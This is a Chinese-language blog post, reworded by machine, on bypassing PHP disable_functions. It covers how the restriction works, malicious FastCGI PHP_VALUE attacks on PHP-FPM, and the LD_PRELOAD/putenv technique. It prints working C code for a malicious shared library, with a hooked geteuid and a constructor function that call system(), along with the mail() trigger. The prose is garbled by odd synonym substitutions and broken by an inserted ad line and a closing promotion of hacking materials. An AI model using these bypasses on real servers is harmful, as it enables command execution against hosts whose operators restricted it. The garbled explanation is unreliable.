先容php中的disable_function是EG(ini_directives)来得到的,而phpinfo根据 EG(ini_directives) 中获取信息并打印。

然后通过zend_disable_function()函数去禁止,大略的说便是通过 func->handler = ZEND_FN(display_disabled_function); 修正了handler。

而phpinfo⼀直是查看做事器php信息的可靠⽅式,但是在包含修正 disable_function的参数攻击FPM后,phpinfo已经显示修正,但是测试函数仍旧禁⽤。
在fpm攻击的配置中 EG(ini_directives) 找到表示 disable_functions 的 ini_entry ,然后修正值为我们传⼊的内容,⽽phpinfo展示的值就源于这⾥。

php必须知道的300个问题pdf完善避开php内核的各类问题 SQL

还会将要禁⽤的函数字符串传⼊fpm_php_disable 函数,再调⽤ zend_disable_function 函数修正 func->handler完成禁⽤。

以是说,包含 PHP_VALUE == disable_function= 的恶意FastCgi攻击FPM时,只能修正展示phpinfo信息

的 EG(ini_directives) ,也便是表⾯修正,对付已经禁⽤的函数⽆效的,但是可以通过FPM禁⽤新的函数。

总结disable_function 的实质是修正 func->handler 完成对函数的禁⽤。
包含 PHP_VALUE ==disable_function= 的恶意FastCgi攻击FPM时,只能修正展示phpinfo信息的 EG(ini_directives) ,也便是表⾯修正,对付已经禁⽤的函数⽆效的,但是可以通过FPM禁⽤新的函数。
攻击FPM⽐较常⻅的有效利⽤选项是 extension_dir +extension 、 open_basedir 、 allow_url_include = On + auto_prepend_file =php://input 。

思考那么我看网上有一下先容是通过fpm来绕过disable_function。
那么是怎么实现??底层到底是什么?

这里给出自己的答案,之以是说fpm能绕过df是由于通过配置 PHP_VALUE ==extension_dir +extension,然后我们上传我们的so来加载实行。
那为什么说加载so就可以绕过???

是由于df是在模块初始化阶段的末了一步 加载so是在这个之前 可能是由于这个导致的rce

下面是清楚点的。

以是能够绕过

LD_PRELOAD与putenv的合营利用,即LD_PRELOAD这个环境变量指定路径的文件(也是so文件),会在其他文件被调用前,最先被调用而putenv可以设置环境变量。

先容了某一个php函数,我认为是在实行的过程中能fork子进程的函数(启动外部程序的函数并能实行)然后我们hook该fork子进程,进行重写,完成rce。

例如:

mail(‘’,’’,’’,’’);#include <stdlib.h>#include <stdio.h>#include <string.h>void payload() { system("ls / > /tmp/sky");}int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload();}//编译成so文件//gcc -c -fPIC hack.c -o hack.so还有imap_mail()、mb_send_mail()和error_log()函数等然后还有一个进化版本#define _GNU_SOURCE#include <stdlib.h>#include <unistd.h>#include <sys/types.h>__attribute__ ((__constructor__)) void angel (void){ unsetenv("LD_PRELOAD"); system("ls");}

个中attribute ((constructor))有如下解释

1.It's run when a shared library is loaded, typically during program startup.2.That's how all GCC attributes are; presumably to distinguish them from function calls.3.The destructor is run when the shared library is unloaded, typically at program exit.

1.它在加载共享库时运行,常日在程序启动时运行。
//putenv("LD_PRELOAD=hack.so");2.所有GCC属性都是这样的;可能是为了将它们与函数调用区分开来。
3.析构函数在卸载共享库时运行,常日在程序退出时运行。
以是我们就不须要找一个函数去触发了。

末了,附上珍藏300MB的网络安全全套视频、工具包、应急相应条记、书本、渗透测试等PDF,须要的关注我,回答"资料"领取PDF